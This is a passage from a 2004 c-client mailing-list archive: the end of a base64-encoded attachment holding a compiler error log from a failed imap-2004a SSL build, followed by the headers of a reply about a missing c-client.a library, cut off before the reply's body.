ZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpvc2RlcC5jOjIyNjogZXJyb3I6IHBhcnNlIGVycm9yIGJl Zm9yZSAnKicgdG9rZW4Kb3NkZXAuYzoyMjY6IHdhcm5pbmc6IGRhdGEgZGVmaW5pdGlvbiBoYXMg bm8gdHlwZSBvciBzdG9yYWdlIGNsYXNzCm9zZGVwLmM6MjI3OiBlcnJvcjogcGFyc2UgZXJyb3Ig YmVmb3JlICcqJyB0b2tlbgpvc2RlcC5jOjIyODogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9yZSAi WDUwOV9TVE9SRV9DVFgiCm9zZGVwLmM6MjMxOiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcq JyB0b2tlbgpvc2RlcC5jOjIzMjogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9yZSAnKicgdG9rZW4K b3NkZXAuYzoyMzI6IGVycm9yOiBwYXJzZSBlcnJvciBiZWZvcmUgJyonIHRva2VuCm9zZGVwLmM6 MjMyOiB3YXJuaW5nOiBkYXRhIGRlZmluaXRpb24gaGFzIG5vIHR5cGUgb3Igc3RvcmFnZSBjbGFz cwpvc2RlcC5jOjIzNzogZXJyb3I6IHZhcmlhYmxlIGBzc2xkcml2ZXInIGhhcyBpbml0aWFsaXpl ciBidXQgaW5jb21wbGV0ZSB0eXBlCm9zZGVwLmM6MjM4OiB3YXJuaW5nOiBleGNlc3MgZWxlbWVu dHMgaW4gc3RydWN0IGluaXRpYWxpemVyCm9zZGVwLmM6MjM4OiB3YXJuaW5nOiAobmVhciBpbml0 aWFsaXphdGlvbiBmb3IgYHNzbGRyaXZlcicpCm9zZGVwLmM6MjM5OiB3YXJuaW5nOiBleGNlc3Mg ZWxlbWVudHMgaW4gc3RydWN0IGluaXRpYWxpemVyCm9zZGVwLmM6MjM5OiB3YXJuaW5nOiAobmVh ciBpbml0aWFsaXphdGlvbiBmb3IgYHNzbGRyaXZlcicpCm9zZGVwLmM6MjQwOiB3YXJuaW5nOiBl eGNlc3MgZWxlbWVudHMgaW4gc3RydWN0IGluaXRpYWxpemVyCm9zZGVwLmM6MjQwOiB3YXJuaW5n OiAobmVhciBpbml0aWFsaXphdGlvbiBmb3IgYHNzbGRyaXZlcicpCm9zZGVwLmM6MjQxOiB3YXJu aW5nOiBleGNlc3MgZWxlbWVudHMgaW4gc3RydWN0IGluaXRpYWxpemVyCm9zZGVwLmM6MjQxOiB3 YXJuaW5nOiAobmVhciBpbml0aWFsaXphdGlvbiBmb3IgYHNzbGRyaXZlcicpCm9zZGVwLmM6MjQy OiB3YXJuaW5nOiBleGNlc3MgZWxlbWVudHMgaW4gc3RydWN0IGluaXRpYWxpemVyCm9zZGVwLmM6 MjQyOiB3YXJuaW5nOiAobmVhciBpbml0aWFsaXphdGlvbiBmb3IgYHNzbGRyaXZlcicpCm9zZGVw LmM6MjQzOiB3YXJuaW5nOiBleGNlc3MgZWxlbWVudHMgaW4gc3RydWN0IGluaXRpYWxpemVyCm9z ZGVwLmM6MjQzOiB3YXJuaW5nOiAobmVhciBpbml0aWFsaXphdGlvbiBmb3IgYHNzbGRyaXZlcicp Cm9zZGVwLmM6MjQ0OiB3YXJuaW5nOiBleGNlc3MgZWxlbWVudHMgaW4gc3RydWN0IGluaXRpYWxp emVyCm9zZGVwLmM6MjQ0OiB3YXJuaW5nOiAobmVhciBpbml0aWFsaXphdGlvbiBmb3IgYHNzbGRy aXZlcicpCm9zZGVwLmM6MjQ1OiB3YXJuaW5nOiBleGNlc3MgZWxlbWVudHMgaW4gc3RydWN0IGlu aXRpYWxpemVyCm9zZGVwLmM6MjQ1OiB3YXJuaW5nOiAobmVhciBpbml0aWFsaXphdGlvbiBmb3Ig YHNzbGRyaXZlcicpCm9zZGVwLmM6MjQ2OiB3YXJuaW5nOiBleGNlc3MgZWxlbWVudHMgaW4gc3Ry dWN0IGluaXRpYWxpemVyCm9zZGVwLmM6MjQ2OiB3YXJuaW5nOiAobmVhciBpbml0aWFsaXphdGlv biBmb3IgYHNzbGRyaXZlcicpCm9zZGVwLmM6MjQ3OiB3YXJuaW5nOiBleGNlc3MgZWxlbWVudHMg aW4gc3RydWN0IGluaXRpYWxpemVyCm9zZGVwLmM6MjQ3OiB3YXJuaW5nOiAobmVhciBpbml0aWFs aXphdGlvbiBmb3IgYHNzbGRyaXZlcicpCm9zZGVwLmM6MjQ5OiB3YXJuaW5nOiBleGNlc3MgZWxl bWVudHMgaW4gc3RydWN0IGluaXRpYWxpemVyCm9zZGVwLmM6MjQ5OiB3YXJuaW5nOiAobmVhciBp bml0aWFsaXphdGlvbiBmb3IgYHNzbGRyaXZlcicpCm9zZGVwLmM6MjUxOiBlcnJvcjogcGFyc2Ug ZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpvc2RlcC5jOjI1MTogd2FybmluZzogZGF0YSBkZWZpbml0 aW9uIGhhcyBubyB0eXBlIG9yIHN0b3JhZ2UgY2xhc3MKb3NkZXAuYzoyOTY6IGVycm9yOiBwYXJz ZSBlcnJvciBiZWZvcmUgJyonIHRva2VuCm9zZGVwLmM6MzEwOiBlcnJvcjogcGFyc2UgZXJyb3Ig YmVmb3JlICcqJyB0b2tlbgpvc2RlcC5jOjMyMjogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9yZSAn KicgdG9rZW4Kb3NkZXAuYzogSW4gZnVuY3Rpb24gYHNzbF9zdGFydCc6Cm9zZGVwLmM6MzI4OiBl cnJvcjogYHN0cmVhbScgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pCm9z ZGVwLmM6MzI4OiBlcnJvcjogKEVhY2ggdW5kZWNsYXJlZCBpZGVudGlmaWVyIGlzIHJlcG9ydGVk IG9ubHkgb25jZQpvc2RlcC5jOjMyODogZXJyb3I6IGZvciBlYWNoIGZ1bmN0aW9uIGl0IGFwcGVh cnMgaW4uKQpvc2RlcC5jOjMyODogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9yZSAnKScgdG9rZW4K b3NkZXAuYzozNDg6IGVycm9yOiBwYXJzZSBlcnJvciBiZWZvcmUgJyknIHRva2VuCm9zZGVwLmM6 IEF0IHRvcCBsZXZlbDoKb3NkZXAuYzozNzY6IGVycm9yOiBwYXJzZSBlcnJvciBiZWZvcmUgJyon IHRva2VuCm9zZGVwLmM6IEluIGZ1bmN0aW9uIGBzc2xfc3RhcnRfd29yayc6Cm9zZGVwLmM6Mzc4 OiBlcnJvcjogYEJJTycgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pCm9z ZGVwLmM6Mzc4OiBlcnJvcjogYGJpbycgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVu Y3Rpb24pCm9zZGVwLmM6Mzc5OiBlcnJvcjogYFg1MDknIHVuZGVjbGFyZWQgKGZpcnN0IHVzZSBp biB0aGlzIGZ1bmN0aW9uKQpvc2RlcC5jOjM3OTogZXJyb3I6IGBjZXJ0JyB1bmRlY2xhcmVkIChm aXJzdCB1c2UgaW4gdGhpcyBmdW5jdGlvbikKb3NkZXAuYzozODQ6IHdhcm5pbmc6IGFzc2lnbm1l bnQgZnJvbSBpbmNvbXBhdGlibGUgcG9pbnRlciB0eXBlCm9zZGVwLmM6Mzg1OiBlcnJvcjogYHN0 cmVhbScgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pCm9zZGVwLmM6Mzg1 OiBlcnJvcjogYGZsYWdzJyB1bmRlY2xhcmVkIChmaXJzdCB1c2UgaW4gdGhpcyBmdW5jdGlvbikK b3NkZXAuYzozOTI6IGVycm9yOiBgU1NMX1ZFUklGWV9OT05FJyB1bmRlY2xhcmVkIChmaXJzdCB1 c2UgaW4gdGhpcyBmdW5jdGlvbikKb3NkZXAuYzozOTM6IGVycm9yOiBgU1NMX1ZFUklGWV9QRUVS JyB1bmRlY2xhcmVkIChmaXJzdCB1c2UgaW4gdGhpcyBmdW5jdGlvbikKb3NkZXAuYzozOTc6IGVy cm9yOiBgU1NMJyB1bmRlY2xhcmVkIChmaXJzdCB1c2UgaW4gdGhpcyBmdW5jdGlvbikKb3NkZXAu YzozOTc6IGVycm9yOiBwYXJzZSBlcnJvciBiZWZvcmUgJyknIHRva2VuCm9zZGVwLmM6Mzk5OiBl cnJvcjogYEJJT19OT0NMT1NFJyB1bmRlY2xhcmVkIChmaXJzdCB1c2UgaW4gdGhpcyBmdW5jdGlv bikKb3NkZXAuYzo0MTU6IHdhcm5pbmc6IHBhc3NpbmcgYXJnIDEgb2YgYHNzbF9jb21wYXJlX2hv c3RuYW1lcycgZnJvbSBpbmNvbXBhdGlibGUgcG9pbnRlciB0eXBlCm9zZGVwLmM6NDE5OiB3YXJu aW5nOiBwYXNzaW5nIGFyZyAyIG9mIHBvaW50ZXIgdG8gZnVuY3Rpb24gZnJvbSBpbmNvbXBhdGli bGUgcG9pbnRlciB0eXBlCm9zZGVwLmM6IEF0IHRvcCBsZXZlbDoKb3NkZXAuYzo0MzQ6IGVycm9y OiBwYXJzZSBlcnJvciBiZWZvcmUgIlg1MDlfU1RPUkVfQ1RYIgpvc2RlcC5jOiBJbiBmdW5jdGlv biBgc3NsX29wZW5fdmVyaWZ5JzoKb3NkZXAuYzo0Mzk6IGVycm9yOiBgb2snIHVuZGVjbGFyZWQg KGZpcnN0IHVzZSBpbiB0aGlzIGZ1bmN0aW9uKQpvc2RlcC5jOjQ0MTogZXJyb3I6IGBjdHgnIHVu ZGVjbGFyZWQgKGZpcnN0IHVzZSBpbiB0aGlzIGZ1bmN0aW9uKQpvc2RlcC5jOiBBdCB0b3AgbGV2 ZWw6Cm9zZGVwLmM6NDk1OiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpvc2Rl cC5jOiBJbiBmdW5jdGlvbiBgc3NsX2dldGxpbmUnOgpvc2RlcC5jOjUwMjogZXJyb3I6IGBzdHJl YW0nIHVuZGVjbGFyZWQgKGZpcnN0IHVzZSBpbiB0aGlzIGZ1bmN0aW9uKQpvc2RlcC5jOiBBdCB0 b3AgbGV2ZWw6Cm9zZGVwLmM6NTQ1OiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tl bgpvc2RlcC5jOiBJbiBmdW5jdGlvbiBgc3NsX2dldGJ1ZmZlcic6Cm9zZGVwLmM6NTQ4OiBlcnJv cjogYHNpemUnIHVuZGVjbGFyZWQgKGZpcnN0IHVzZSBpbiB0aGlzIGZ1bmN0aW9uKQpvc2RlcC5j OjU0OTogZXJyb3I6IGBzdHJlYW0nIHVuZGVjbGFyZWQgKGZpcnN0IHVzZSBpbiB0aGlzIGZ1bmN0 aW9uKQpvc2RlcC5jOjU1MjogZXJyb3I6IGBidWZmZXInIHVuZGVjbGFyZWQgKGZpcnN0IHVzZSBp biB0aGlzIGZ1bmN0aW9uKQpvc2RlcC5jOiBBdCB0b3AgbGV2ZWw6Cm9zZGVwLmM6NTY3OiBlcnJv cjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpvc2RlcC5jOiBJbiBmdW5jdGlvbiBgc3Ns X2dldGRhdGEnOgpvc2RlcC5jOjU3NjogZXJyb3I6IGBzdHJlYW0nIHVuZGVjbGFyZWQgKGZpcnN0 IHVzZSBpbiB0aGlzIGZ1bmN0aW9uKQpvc2RlcC5jOjYwMzogZXJyb3I6IGBTU0xfRVJST1JfV0FO VF9SRUFEJyB1bmRlY2xhcmVkIChmaXJzdCB1c2UgaW4gdGhpcyBmdW5jdGlvbikKb3NkZXAuYzog QXQgdG9wIGxldmVsOgpvc2RlcC5jOjYxODogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9yZSAnKicg dG9rZW4Kb3NkZXAuYzogSW4gZnVuY3Rpb24gYHNzbF9zb3V0cic6Cm9zZGVwLmM6NjIwOiBlcnJv cjogYHN0cmVhbScgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pCm9zZGVw LmM6NjIwOiBlcnJvcjogYHN0cmluZycgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVu Y3Rpb24pCm9zZGVwLmM6IEF0IHRvcCBsZXZlbDoKb3NkZXAuYzo2MzE6IGVycm9yOiBwYXJzZSBl cnJvciBiZWZvcmUgJyonIHRva2VuCm9zZGVwLmM6IEluIGZ1bmN0aW9uIGBzc2xfc291dCc6Cm9z ZGVwLmM6NjM1OiBlcnJvcjogYHN0cmVhbScgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMg ZnVuY3Rpb24pCm9zZGVwLmM6NjM4OiBlcnJvcjogYHNpemUnIHVuZGVjbGFyZWQgKGZpcnN0IHVz ZSBpbiB0aGlzIGZ1bmN0aW9uKQpvc2RlcC5jOjYzODogZXJyb3I6IGBzdHJpbmcnIHVuZGVjbGFy ZWQgKGZpcnN0IHVzZSBpbiB0aGlzIGZ1bmN0aW9uKQpvc2RlcC5jOiBBdCB0b3AgbGV2ZWw6Cm9z ZGVwLmM6NjUwOiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpvc2RlcC5jOiBJ biBmdW5jdGlvbiBgc3NsX2Nsb3NlJzoKb3NkZXAuYzo2NTI6IGVycm9yOiBgc3RyZWFtJyB1bmRl Y2xhcmVkIChmaXJzdCB1c2UgaW4gdGhpcyBmdW5jdGlvbikKb3NkZXAuYzogQXQgdG9wIGxldmVs Ogpvc2RlcC5jOjY2MjogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9yZSAnKicgdG9rZW4Kb3NkZXAu YzogSW4gZnVuY3Rpb24gYHNzbF9hYm9ydCc6Cm9zZGVwLmM6NjY1OiBlcnJvcjogYHN0cmVhbScg dW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pCm9zZGVwLmM6IEF0IHRvcCBs ZXZlbDoKb3NkZXAuYzo2ODc6IGVycm9yOiBwYXJzZSBlcnJvciBiZWZvcmUgJyonIHRva2VuCm9z ZGVwLmM6IEluIGZ1bmN0aW9uIGBzc2xfaG9zdCc6Cm9zZGVwLmM6Njg5OiBlcnJvcjogYHN0cmVh bScgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pCm9zZGVwLmM6IEF0IHRv cCBsZXZlbDoKb3NkZXAuYzo2OTg6IGVycm9yOiBwYXJzZSBlcnJvciBiZWZvcmUgJyonIHRva2Vu Cm9zZGVwLmM6IEluIGZ1bmN0aW9uIGBzc2xfcmVtb3RlaG9zdCc6Cm9zZGVwLmM6NzAwOiBlcnJv cjogYHN0cmVhbScgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pCm9zZGVw LmM6IEF0IHRvcCBsZXZlbDoKb3NkZXAuYzo3MDk6IGVycm9yOiBwYXJzZSBlcnJvciBiZWZvcmUg JyonIHRva2VuCm9zZGVwLmM6IEluIGZ1bmN0aW9uIGBzc2xfcG9ydCc6Cm9zZGVwLmM6NzExOiBl cnJvcjogYHN0cmVhbScgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pCm9z ZGVwLmM6IEF0IHRvcCBsZXZlbDoKb3NkZXAuYzo3MjA6IGVycm9yOiBwYXJzZSBlcnJvciBiZWZv cmUgJyonIHRva2VuCm9zZGVwLmM6IEluIGZ1bmN0aW9uIGBzc2xfbG9jYWxob3N0JzoKb3NkZXAu Yzo3MjI6IGVycm9yOiBgc3RyZWFtJyB1bmRlY2xhcmVkIChmaXJzdCB1c2UgaW4gdGhpcyBmdW5j dGlvbikKb3NkZXAuYzogSW4gZnVuY3Rpb24gYHNzbF9zZXJ2ZXJfaW5pdCc6Cm9zZGVwLmM6NzU2 OiBlcnJvcjogYHN0cmVhbScgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24p Cm9zZGVwLmM6NzU2OiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcpJyB0b2tlbgpvc2RlcC5j Ojc3ODogZXJyb3I6IGBTU0xfT1BfQUxMJyB1bmRlY2xhcmVkIChmaXJzdCB1c2UgaW4gdGhpcyBm dW5jdGlvbikKb3NkZXAuYzo3ODk6IGVycm9yOiBgU1NMX0ZJTEVUWVBFX1BFTScgdW5kZWNsYXJl ZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pCm9zZGVwLmM6ODA3OiBlcnJvcjogcGFyc2Ug ZXJyb3IgYmVmb3JlICcpJyB0b2tlbgpvc2RlcC5jOjgwOTogZXJyb3I6IHJlcXVlc3QgZm9yIG1l bWJlciBgc3Nsc3RyZWFtJyBpbiBzb21ldGhpbmcgbm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCm9z ZGVwLmM6ODExOiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVyIGBvY3RyJyBpbiBzb21ldGhpbmcg bm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCm9zZGVwLmM6ODEzOiBlcnJvcjogcmVxdWVzdCBmb3Ig bWVtYmVyIGBvcHRyJyBpbiBzb21ldGhpbmcgbm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCm9zZGVw LmM6ODEzOiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVyIGBvYnVmJyBpbiBzb21ldGhpbmcgbm90 IGEgc3RydWN0dXJlIG9yIHVuaW9uCm9zZGVwLmM6IEF0IHRvcCBsZXZlbDoKb3NkZXAuYzo4MzY6 IGVycm9yOiBwYXJzZSBlcnJvciBiZWZvcmUgJyonIHRva2VuCm9zZGVwLmM6ODM2OiBlcnJvcjog cGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpvc2RlcC5jOiBJbiBmdW5jdGlvbiBgc3NsX2dl bmtleSc6Cm9zZGVwLmM6ODM5OiBlcnJvcjogc3ludGF4IGVycm9yIGJlZm9yZSAnKicgdG9rZW4K b3NkZXAuYzo4NDA6IGVycm9yOiBga2V5JyB1bmRlY2xhcmVkIChmaXJzdCB1c2UgaW4gdGhpcyBm dW5jdGlvbikKb3NkZXAuYzo4NDI6IGVycm9yOiBgZXhwb3J0JyB1bmRlY2xhcmVkIChmaXJzdCB1 c2UgaW4gdGhpcyBmdW5jdGlvbikKb3NkZXAuYzo4NDI6IGVycm9yOiBga2V5bGVuZ3RoJyB1bmRl Y2xhcmVkIChmaXJzdCB1c2UgaW4gdGhpcyBmdW5jdGlvbikKb3NkZXAuYzo4NDI6IGVycm9yOiBg UlNBX0Y0JyB1bmRlY2xhcmVkIChmaXJzdCB1c2UgaW4gdGhpcyBmdW5jdGlvbikKb3NkZXAuYzog SW4gZnVuY3Rpb24gYHNzbF9zZXJ2ZXJfaW5wdXRfd2FpdCc6Cm9zZGVwLmM6ODYzOiBlcnJvcjog YHN0cmVhbScgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pCm9zZGVwLmM6 ODY2OiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVyIGBzc2xzdHJlYW0nIGluIHNvbWV0aGluZyBu b3QgYSBzdHJ1Y3R1cmUgb3IgdW5pb24KSW4gZmlsZSBpbmNsdWRlZCBmcm9tIG9zZGVwLmM6ODg0 Ogpzc2xzdGRpby5jOiBJbiBmdW5jdGlvbiBgUEJJTic6CnNzbHN0ZGlvLmM6Mjg6IGVycm9yOiBy ZXF1ZXN0IGZvciBtZW1iZXIgYHNzbHN0cmVhbScgaW4gc29tZXRoaW5nIG5vdCBhIHN0cnVjdHVy ZSBvciB1bmlvbgpzc2xzdGRpby5jOjMwOiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVyIGBzc2xz dHJlYW0nIGluIHNvbWV0aGluZyBub3QgYSBzdHJ1Y3R1cmUgb3IgdW5pb24Kc3Nsc3RkaW8uYzoz MTogZXJyb3I6IHJlcXVlc3QgZm9yIG1lbWJlciBgc3Nsc3RyZWFtJyBpbiBzb21ldGhpbmcgbm90 IGEgc3RydWN0dXJlIG9yIHVuaW9uCnNzbHN0ZGlvLmM6IEluIGZ1bmN0aW9uIGBQU0lOJzoKc3Ns c3RkaW8uYzo0OTogZXJyb3I6IHJlcXVlc3QgZm9yIG1lbWJlciBgc3Nsc3RyZWFtJyBpbiBzb21l dGhpbmcgbm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCnNzbHN0ZGlvLmM6NTA6IGVycm9yOiByZXF1 ZXN0IGZvciBtZW1iZXIgYHNzbHN0cmVhbScgaW4gc29tZXRoaW5nIG5vdCBhIHN0cnVjdHVyZSBv ciB1bmlvbgpzc2xzdGRpby5jOjUwOiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVyIGBzc2xzdHJl YW0nIGluIHNvbWV0aGluZyBub3QgYSBzdHJ1Y3R1cmUgb3IgdW5pb24Kc3Nsc3RkaW8uYzo1Mjog ZXJyb3I6IHJlcXVlc3QgZm9yIG1lbWJlciBgc3Nsc3RyZWFtJyBpbiBzb21ldGhpbmcgbm90IGEg c3RydWN0dXJlIG9yIHVuaW9uCnNzbHN0ZGlvLmM6IEluIGZ1bmN0aW9uIGBQU0lOUic6CnNzbHN0 ZGlvLmM6NzI6IGVycm9yOiByZXF1ZXN0IGZvciBtZW1iZXIgYHNzbHN0cmVhbScgaW4gc29tZXRo aW5nIG5vdCBhIHN0cnVjdHVyZSBvciB1bmlvbgpzc2xzdGRpby5jOiBJbiBmdW5jdGlvbiBgUEJP VVQnOgpzc2xzdGRpby5jOjk4OiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVyIGBvY3RyJyBpbiBz b21ldGhpbmcgbm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCnNzbHN0ZGlvLmM6OTk6IGVycm9yOiBy ZXF1ZXN0IGZvciBtZW1iZXIgYG9jdHInIGluIHNvbWV0aGluZyBub3QgYSBzdHJ1Y3R1cmUgb3Ig dW5pb24Kc3Nsc3RkaW8uYzoxMDA6IGVycm9yOiByZXF1ZXN0IGZvciBtZW1iZXIgYG9wdHInIGlu IHNvbWV0aGluZyBub3QgYSBzdHJ1Y3R1cmUgb3IgdW5pb24Kc3Nsc3RkaW8uYzogSW4gZnVuY3Rp b24gYFBTT1VUJzoKc3Nsc3RkaW8uYzoxMTQ6IGVycm9yOiByZXF1ZXN0IGZvciBtZW1iZXIgYG9j dHInIGluIHNvbWV0aGluZyBub3QgYSBzdHJ1Y3R1cmUgb3IgdW5pb24Kc3Nsc3RkaW8uYzoxMTU6 IGVycm9yOiByZXF1ZXN0IGZvciBtZW1iZXIgYG9wdHInIGluIHNvbWV0aGluZyBub3QgYSBzdHJ1 Y3R1cmUgb3IgdW5pb24Kc3Nsc3RkaW8uYzoxMTY6IGVycm9yOiByZXF1ZXN0IGZvciBtZW1iZXIg YG9jdHInIGluIHNvbWV0aGluZyBub3QgYSBzdHJ1Y3R1cmUgb3IgdW5pb24Kc3Nsc3RkaW8uYzog SW4gZnVuY3Rpb24gYFBTT1VUUic6CnNzbHN0ZGlvLmM6MTMzOiBlcnJvcjogcmVxdWVzdCBmb3Ig bWVtYmVyIGBvY3RyJyBpbiBzb21ldGhpbmcgbm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCnNzbHN0 ZGlvLmM6MTM1OiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVyIGBvcHRyJyBpbiBzb21ldGhpbmcg bm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCnNzbHN0ZGlvLmM6MTM1OiBlcnJvcjogcmVxdWVzdCBm b3IgbWVtYmVyIGBvY3RyJyBpbiBzb21ldGhpbmcgbm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCnNz bHN0ZGlvLmM6MTM2OiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVyIGBvcHRyJyBpbiBzb21ldGhp bmcgbm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCnNzbHN0ZGlvLmM6MTM3OiBlcnJvcjogcmVxdWVz dCBmb3IgbWVtYmVyIGBvY3RyJyBpbiBzb21ldGhpbmcgbm90IGEgc3RydWN0dXJlIG9yIHVuaW9u CnNzbHN0ZGlvLmM6IEluIGZ1bmN0aW9uIGBQRkxVU0gnOgpzc2xzdGRpby5jOjE1NTogZXJyb3I6 IHJlcXVlc3QgZm9yIG1lbWJlciBgc3Nsc3RyZWFtJyBpbiBzb21ldGhpbmcgbm90IGEgc3RydWN0 dXJlIG9yIHVuaW9uCnNzbHN0ZGlvLmM6MTU1OiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVyIGBv YnVmJyBpbiBzb21ldGhpbmcgbm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCnNzbHN0ZGlvLmM6MTU2 OiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVyIGBvY3RyJyBpbiBzb21ldGhpbmcgbm90IGEgc3Ry dWN0dXJlIG9yIHVuaW9uCnNzbHN0ZGlvLmM6MTU4OiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVy IGBvcHRyJyBpbiBzb21ldGhpbmcgbm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCnNzbHN0ZGlvLmM6 MTU4OiBlcnJvcjogcmVxdWVzdCBmb3IgbWVtYmVyIGBvYnVmJyBpbiBzb21ldGhpbmcgbm90IGEg c3RydWN0dXJlIG9yIHVuaW9uCnNzbHN0ZGlvLmM6MTU5OiBlcnJvcjogcmVxdWVzdCBmb3IgbWVt YmVyIGBvY3RyJyBpbiBzb21ldGhpbmcgbm90IGEgc3RydWN0dXJlIG9yIHVuaW9uCm9zZGVwLmM6 IEF0IHRvcCBsZXZlbDoKb3NkZXAuYzoyMzc6IGVycm9yOiBzdG9yYWdlIHNpemUgb2YgYHNzbGRy aXZlcicgaXNuJ3Qga25vd24KbWFrZVszXTogKioqIFtvc2RlcC5vXSBFcnJvciAxCm1ha2VbM106 IExlYXZpbmcgZGlyZWN0b3J5IGAvcHJvZ3JhbW1lL2ltYXAtMjAwNGEvYy1jbGllbnQnCm1ha2Vb Ml06ICoqKiBbc2x4XSBFcnJvciAyCm1ha2VbMl06IExlYXZpbmcgZGlyZWN0b3J5IGAvcHJvZ3Jh bW1lL2ltYXAtMjAwNGEvYy1jbGllbnQnCm1ha2VbMV06ICoqKiBbT1NUWVBFXSBFcnJvciAyCm1h a2VbMV06IExlYXZpbmcgZGlyZWN0b3J5IGAvcHJvZ3JhbW1lL2ltYXAtMjAwNGEnCm1ha2U6ICoq KiBbc2x4XSBFcnJvciAyCg== ------_=_NextPart_001_01C4D3C6.4B8FAFA9-- From pinedev@shivax2.cac.washington.edu Fri Nov 26 12:16:41 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Nov 2004 12:16:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAQKGfAk018608 for ; Fri, 26 Nov 2004 12:16:41 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iAQKGe4X006741 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 26 Nov 2004 12:16:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAQKGMgj017430; Fri, 26 Nov 2004 12:16:22 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAQKEkfE084382 for ; Fri, 26 Nov 2004 12:14:46 -0800 Received: from mta3.srv.hcvlny.cv.net (mta3.srv.hcvlny.cv.net [167.206.5.69]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAQKEjl9027461 for ; Fri, 26 Nov 2004 12:14:46 -0800 Received: from heater.hamla.org (ool-182e70a4.dyn.optonline.net [24.46.112.164]) by mta3.srv.hcvlny.cv.net (iPlanet Messaging Server 5.2 HotFix 1.25 (built Mar 3 2004)) with ESMTP id <0I7S00LYNYWLJC@mta3.srv.hcvlny.cv.net> for c-client@u.washington.edu; Fri, 26 Nov 2004 15:14:45 -0500 (EST) Received: by heater.hamla.org (Postfix, from userid 501) id 93C345787C; Fri, 26 Nov 2004 15:14:43 -0800 (PST) Message-Id: <20041126231442.GB564%sahil@hamla.org> Date: Fri, 26 Nov 2004 15:14:43 -0800 Reply-To: "sahil@tandon.net" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sahil Tandon To: c-client@u.washington.edu Subject: Re: can't find c-client.a In-Reply-To: <3F3B14DB7F7E2345834E983DD86FB8B1012B97DA@exch.Intranet.Collanaud.Qc.Ca> References: <3F3B14DB7F7E2345834E983DD86FB8B1012B97DA@exch.Intranet.Collanaud.Qc.Ca> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Content-disposition: inline X-Uwash-Spam: Gauge=XI, Probability=11%, Report='X_NJABL_DUL 1, RCVD_IN_NJABL_ORG 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, 